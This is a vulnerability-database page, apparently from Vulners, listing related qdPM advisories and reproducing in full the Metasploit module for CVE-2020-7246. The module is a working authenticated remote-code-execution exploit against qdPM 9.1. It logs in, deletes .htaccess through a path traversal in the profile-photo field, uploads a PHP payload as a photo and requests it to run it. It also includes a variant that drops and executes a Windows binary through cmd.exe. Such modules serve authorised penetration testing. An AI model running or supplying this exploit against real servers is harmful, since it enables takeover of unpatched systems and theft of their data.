| Reporter | Title | Published | Views | Family All 33 |
|---|---|---|---|---|
| qdPM 9.1 - Remote Code Execution Exploit | 23 Jan 202000:00 | – | zdt | |
| qdPM < 9.1 - Remote Code Execution Exploit | 29 Feb 202000:00 | – | zdt | |
| qdPM 9.1 - Remote Code Execution (Authenticated) Exploit | 4 Aug 202100:00 | – | zdt | |
| qdPM 9.1 - Remote Code Execution (Authenticated) Exploit | 26 May 202200:00 | – | zdt | |
| qdPM 9.1 Authenticated Shell Upload Exploit | 29 Sep 202200:00 | – | zdt | |
| CVE-2020-7246 | 21 Jan 202000:00 | – | attackerkb | |
| CVE-2015-3884 | 29 May 201815:50 | – | circl | |
| CVE-2020-7246 | 21 Jan 202017:37 | – | circl | |
| qdPM Arbitrary File Upload Vulnerability | 21 Mar 201700:00 | – | cnvd | |
| qdPM Remote Code Execution (CVE-2020-7246) | 25 Mar 202000:00 | – | checkpoint_advisories |
`##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE
include Msf::Exploit::PhpEXE
include Msf::Exploit::FileDropper
def initialize(info = {})
super(
update_info(
info,
'Name' => 'qdPM 9.1 Authenticated Arbitrary PHP File Upload (RCE)',
'Description' => %q{
A remote code execution (RCE) vulnerability exists in qdPM 9.1 and earlier.
An attacker can upload a malicious PHP code file via the profile photo functionality, by leveraging a path traversal
vulnerability in the users['photop_preview'] delete photo feature, allowing bypass of .htaccess protection.
NOTE: this issue exists because of an incomplete fix for CVE-2015-3884.
},
'License' => MSF_LICENSE,
'Author' => [
'Rishal Dwivedi (Loginsoft)', # Discovery
'Leon Trappett (thepcn3rd)', # PoC
'Giacomo Casoni' # Metasploit
],
'References' => [
['CVE', '2020-7246'],
['EDB', '50175']
],
'Payload' => {
'BadChars' => "\x00"
},
'DefaultOptions' => {
'EXITFUNC' => 'thread'
},
'Platform' => %w[linux php],
'Targets' => [
[ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],
[ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ],
[ 'Linux x64', { 'Arch' => ARCH_X64, 'Platform' => 'linux' } ],
[ 'Windows x86', { 'Arch' => ARCH_X86, 'Platform' => 'win' } ],
[ 'Windows x64', { 'Arch' => ARCH_X64, 'Platform' => 'win' } ]
],
'Privileged' => true,
'DisclosureDate' => '2020-11-21',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => ['CRASH_SAFE'],
'Reliability' => ['IOC_IN_LOGS'],
'SideEffects' => ['REPEATABLE_SESSION']
}
)
)
register_options(
[
OptString.new('TARGETURI', [true, 'The base directory where qdPM resides', '/']),
OptString.new('EMAIL', [true, 'The email to login with']),
OptString.new('PASSWORD', [true, 'The password to login with'])
]
)
self.needs_cleanup = true
end
def check
uri = normalize_uri(uri, '/index.php')
res = send_request_raw({ 'uri' => uri })
if res.nil?
return Exploit::CheckCode::Unknown
end
login_page = res.get_html_document
begin
version_num = login_page.at('div[@class="copyright"]').at('a').text.tr('qdPM ', '').to_f
rescue StandardError
return Exploit::CheckCode::Unknown
end
version = Rex::Version.new(version_num)
if version <= Rex::Version.new('9.1')
return Exploit::CheckCode::Appears
else
return Exploit::CheckCode::Safe
end
end
def get_write_exec_payload_win(fname, _data)
p = Rex::Text.encode_base64(generate_payload_exe)
php = %|
<?php
$f = fopen("#{fname}", "wb");
fwrite($f, base64_decode("#{p}"));
fclose($f);
exec("C:\\Windows\\System32\\cmd.exe /c #{fname}");
?>
|
php = php.gsub(/^ {4}/, '').gsub(/\n/, ' ')
return php
end
def login(base, username, password)
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri("#{base}/index.php/login"),
'keep_cookies' => true
})
login_page = res.get_html_document
csrf_token = login_page.at("input[name='login[_csrf_token]']/@value")
send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri("#{base}/index.php/login"),
'vars_post' => {
'login[email]' => username,
'login[password]' => password,
'login[_csrf_token]' => csrf_token
},
'keep_cookies' => true,
'headers' => {
'Origin' => "http://#{rhost}",
'Referer' => "http://#{rhost}/#{base}/index.php/login"
}
})
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri("#{base}/index.php/myAccount"),
'keep_cookies' => true,
'headers' => {
'Host' => rhost.to_s
}
})
account_page = res.get_html_document
begin
userid = account_page.at("input[@name='users[id]']/@value").text.strip
rescue StandardError
print_error('The designated admin account does not have a user ID.')
return {}
end
username = account_page.at("input[@name='users[name]']/@value").text.strip
csrftoken_ = account_page.at("input[@name='users[_csrf_token]']/@value").text.strip
opts = {
'user_id' => userid,
'name' => username,
'csrf_token' => csrftoken_
}
return opts
end
def upload_php(base, opts)
fname = opts['filename']
php_payload = opts['data']
user_id = opts['user_id']
email = opts['email']
csrf_token = opts['csrf_token']
data = [
{ 'name' => 'sf_method', 'data' => 'put' },
{ 'name' => 'users[id]', 'data' => user_id },
{ 'name' => 'users[photo_preview]', 'data' => '.htaccess' },
{ 'name' => 'users[_csrf_token]', 'data' => csrf_token },
{ 'name' => 'users[new_password]', 'data' => '' },
{ 'name' => 'users[email]', 'data' => email },
{ 'name' => 'extra_fields[9]', 'data' => '' },
{ 'name' => 'users[remove_photo]', 'data' => '1' }
]
send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri("#{base}/index.php/myAccount/update"),
'vars_form_data' => data,
'keep_cookies' => true,
'headers' => {
'Origin' => "http://#{rhost}",
'Referer' => "http://#{rhost}#{base}/index.php/home/myAccount"
}
)
data = [
{ 'name' => 'sf_method', 'data' => 'put' },
{ 'name' => 'users[id]', 'data' => user_id },
{ 'name' => 'users[photo_preview]', 'data' => '../.htaccess' },
{ 'name' => 'users[_csrf_token]', 'data' => csrf_token },
{ 'name' => 'users[new_password]', 'data' => '' },
{ 'name' => 'users[email]', 'data' => email },
{ 'name' => 'extra_fields[9]', 'data' => '' },
{ 'name' => 'users[remove_photo]', 'data' => '1' }
]
send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri("#{base}/index.php/myAccount/update"),
'vars_form_data' => data,
'keep_cookies' => true,
'headers' => {
'Origin' => "http://#{rhost}",
'Referer' => "http://#{rhost}#{base}/index.php/home/myAccount"
}
)
data = [
{ 'name' => 'sf_method', 'data' => 'put' },
{ 'name' => 'users[id]', 'data' => user_id },
{ 'name' => 'users[_csrf_token]', 'data' => csrf_token },
{ 'name' => 'users[new_password]', 'data' => '' },
{ 'name' => 'users[email]', 'data' => email },
{ 'name' => 'extra_fields[9]', 'data' => '' },
{ 'name' => 'users[remove_photo]', 'data' => '1' },
{ 'name' => 'users[photo]', 'data' => php_payload, 'mime_type' => 'application/octet-stream', 'filename' => fname }
]
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri("#{base}/index.php/myAccount/update"),
'vars_form_data' => data,
'keep_cookies' => true,
'headers' => {
'Origin' => "http://#{rhost}",
'Referer' => "http://#{rhost}#{base}/index.php/home/myAccount"
}
})
return res.code == 302
end
def exec_php(base, _opts)
res = send_request_cgi({
'uri' => normalize_uri("#{base}/index.php/myAccount"),
'keep_cookies' => true
})
home_page = res.get_html_document
backdoor = home_page.at("//input[@name='users[photo_preview]']/@value").text.strip
register_file_for_cleanup(backdoor)
send_request_cgi({
'uri' => normalize_uri("#{base}/uploads/users/#{backdoor}")
})
end
def exploit
uri = normalize_uri(target_uri.path)
user = datastore['EMAIL']
pass = datastore['PASSWORD']
print_status("Attempt to login with '#{user}:#{pass}'")
opts = login(uri, user, pass)
if opts.empty?
print_error('Login unsuccessful or bad (admin) user')
return
end
php_fname = "#{Rex::Text.rand_text_alpha(5)}.php"
case target['Platform']
when 'php'
p = get_write_exec_payload
when 'linux'
p = get_write_exec_payload(unlink_self: true)
when 'win'
bin_name = "#{Rex::Text.rand_text_alpha(5)}.bin"
bin = generate_payload_exe
p = get_write_exec_payload_win(bin_name.to_s, bin)
print_warning("#{bin_name} will require manual cleanup")
end
print_status("Uploading PHP payload (#{p.length} bytes)...")
data = {
'email' => user.to_s,
'filename' => php_fname,
'data' => p
}
data = data.merge(opts)
uploader = upload_php(uri, data)
if !uploader
print_error('Unable to upload')
return
end
print_status("Executing '#{php_fname}'")
exec_php(uri, opts)
end
end
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation